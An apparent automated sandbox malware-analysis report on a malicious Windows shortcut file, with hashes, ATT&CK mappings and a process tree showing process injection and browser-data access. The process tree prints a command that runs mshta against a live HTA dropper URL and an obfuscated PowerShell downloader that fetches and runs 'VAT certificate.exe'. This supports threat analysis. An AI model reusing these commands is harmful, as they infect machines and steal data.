9f07c02b13a50bb84630841a7a9876c9ced2ab66d406c54f4673c88e7cd70bb4

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
09/06/2024, 09:46

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General

Target

9f07c02b13a50bb84630841a7a9876c9ced2ab66d406c54f4673c88e7cd70bb4.lnk
Size

30KB
MD5

3deb98c1970c8ed0d95086d79e579231
SHA1

bc8b9ae3e0e278c69d100d30333dc380fc7fe57a
SHA256

9f07c02b13a50bb84630841a7a9876c9ced2ab66d406c54f4673c88e7cd70bb4
SHA512

e25073a88ac942f2aee7f57de6bd51b3b0dbf9caa0c5b569f603315cae5de2ce9308fa974f44b8a24b5cc661f8f152cdfc5ee985f7e388319d2ec4059cc28630
SSDEEP

24:8l/BHYVKVWuMs4ds+/CWLC7SfW8g/kwCYmaHKPeFI:815aTDds7S7gzTmE

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://198.23.201.89/warm/wow123.hta

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	1020	mshta.exe
12	2652	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
1772	VAT%20certificate.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
2652	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1772 set thread context of 3416	1772	VAT%20certificate.exe	56
PID 1772 set thread context of 1876	1772	VAT%20certificate.exe	99
PID 1876 set thread context of 3416	1876	netbtugc.exe	56
PID 1876 set thread context of 3664	1876	netbtugc.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\User\S-1-5-21-540404634-651139247-2967210625-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	netbtugc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
432	powershell.exe
432	powershell.exe
2652	powershell.exe
2652	powershell.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1772	VAT%20certificate.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
1772	VAT%20certificate.exe
3416	Explorer.EXE
3416	Explorer.EXE
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe
1876	netbtugc.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	432	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3416	Explorer.EXE

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2564 wrote to memory of 432	2564	cmd.exe	84
PID 2564 wrote to memory of 432	2564	cmd.exe	84
PID 432 wrote to memory of 1020	432	powershell.exe	85
PID 432 wrote to memory of 1020	432	powershell.exe	85
PID 1020 wrote to memory of 2652	1020	mshta.exe	88
PID 1020 wrote to memory of 2652	1020	mshta.exe	88
PID 2652 wrote to memory of 1772	2652	powershell.exe	92
PID 2652 wrote to memory of 1772	2652	powershell.exe	92
PID 2652 wrote to memory of 1772	2652	powershell.exe	92
PID 3416 wrote to memory of 1876	3416	Explorer.EXE	99
PID 3416 wrote to memory of 1876	3416	Explorer.EXE	99
PID 3416 wrote to memory of 1876	3416	Explorer.EXE	99
PID 1876 wrote to memory of 3664	1876	netbtugc.exe	100
PID 1876 wrote to memory of 3664	1876	netbtugc.exe	100

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3416
- C:\Windows\system32\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\9f07c02b13a50bb84630841a7a9876c9ced2ab66d406c54f4673c88e7cd70bb4.lnk
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'http://198.23.201.89/warm/wow123.hta';$CaHn = Get-Location;$CaHn = Join-Path $CaHn '13820099133-PHOTO.lnk';del $CaHn
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:432
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" http://198.23.201.89/warm/wow123.hta
      4⤵
      Blocklisted process makes network request
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1020
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function tGIue($EpIxmuGVuZLbfA, $aTGikfPRsZRV){[IO.File]::WriteAllBytes($EpIxmuGVuZLbfA, $aTGikfPRsZRV)};function bXhQxPG($EpIxmuGVuZLbfA){if($EpIxmuGVuZLbfA.EndsWith((sJQmIfmn @(66989,67043,67051,67051))) -eq $True){rundll32.exe $EpIxmuGVuZLbfA }elseif($EpIxmuGVuZLbfA.EndsWith((sJQmIfmn @(66989,67055,67058,66992))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $EpIxmuGVuZLbfA}elseif($EpIxmuGVuZLbfA.EndsWith((sJQmIfmn @(66989,67052,67058,67048))) -eq $True){misexec /qn /i $EpIxmuGVuZLbfA}else{Start-Process $EpIxmuGVuZLbfA}};function EZaqwmkrpm($YYPOnwifQTinecw){$UnrKhxCyrLrSiUjqf = New-Object (sJQmIfmn @(67021,67044,67059,66989,67030,67044,67041,67010,67051,67048,67044,67053,67059));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$aTGikfPRsZRV = $UnrKhxCyrLrSiUjqf.DownloadData($YYPOnwifQTinecw);return $aTGikfPRsZRV};function sJQmIfmn($rdZrreW){$UDcOSFQvyucyt=66943;$hIpVaXCveA=$Null;foreach($LhcCvADFdJ in $rdZrreW){$hIpVaXCveA+=[char]($LhcCvADFdJ-$UDcOSFQvyucyt)};return $hIpVaXCveA};function VpeUnfmvvUnskxx(){$joDRUbaqCRhqCUu = $env:AppData + '\';$ZYEuq = $joDRUbaqCRhqCUu + 'VAT%20certificate.exe'; if (Test-Path -Path $ZYEuq){bXhQxPG $ZYEuq;}Else{ $rqdhhzPQQqHkKt = EZaqwmkrpm (sJQmIfmn @(67047,67059,67059,67055,67001,66990,66990,66992,67000,66999,66989,66993,66994,66989,66993,66991,66992,66989,66999,67000,66990,67062,67040,67057,67052,66990,67029,67008,67027,66980,66993,66991,67042,67044,67057,67059,67048,67045,67048,67042,67040,67059,67044,66989,67044,67063,67044));tGIue $ZYEuq $rqdhhzPQQqHkKt;bXhQxPG $ZYEuq;};;;;}VpeUnfmvvUnskxx;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2652
      - C:\Users\Admin\AppData\Roaming\VAT%20certificate.exe
        
        "C:\Users\Admin\AppData\Roaming\VAT%20certificate.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1772
- C:\Windows\SysWOW64\netbtugc.exe
  "C:\Windows\SysWOW64\netbtugc.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Program Files\Mozilla Firefox\Firefox.exe
    "C:\Program Files\Mozilla Firefox\Firefox.exe"
    3⤵
    PID:3664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3wtu3zwb.qep.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\VAT%20certificate.exe

Filesize
264KB

MD5
1dcce19e1a6306424d073487af821ff0

SHA1
9de500775811f65415266689cbdfd035e167f148

SHA256
77e14caae3daf05c1f5a6a3d10e4936cc58944d6ae9ec6943b1be6d995e94b5c

SHA512
4528efd164bff904830fde7efb04d5cf3999ef4fa0b8c3d4ad0407d7cd75f03085107c8ae5651e015f62e414a59979fd264e94257c52f60540d5969fd4ca144a

Download Submit
memory/432-13-0x00007FFA0F1E0000-0x00007FFA0FCA1000-memory.dmp

Filesize
10.8MB

Download
memory/432-18-0x00007FFA0F1E0000-0x00007FFA0FCA1000-memory.dmp

Filesize
10.8MB

Download
memory/432-14-0x00007FFA0F1E0000-0x00007FFA0FCA1000-memory.dmp

Filesize
10.8MB

Download
memory/432-2-0x00007FFA0F1E3000-0x00007FFA0F1E5000-memory.dmp

Filesize
8KB

Download
memory/432-3-0x000001DA243D0000-0x000001DA243F2000-memory.dmp

Filesize
136KB

Download
memory/1876-41-0x0000000000F20000-0x0000000000F5F000-memory.dmp

Filesize
252KB

Download
memory/1876-42-0x0000000000F20000-0x0000000000F5F000-memory.dmp

Filesize
252KB

Download
memory/3416-43-0x0000000008940000-0x0000000008A55000-memory.dmp

Filesize
1.1MB

Download
memory/3664-50-0x00000272D20F0000-0x00000272D21B3000-memory.dmp

Filesize
780KB

Download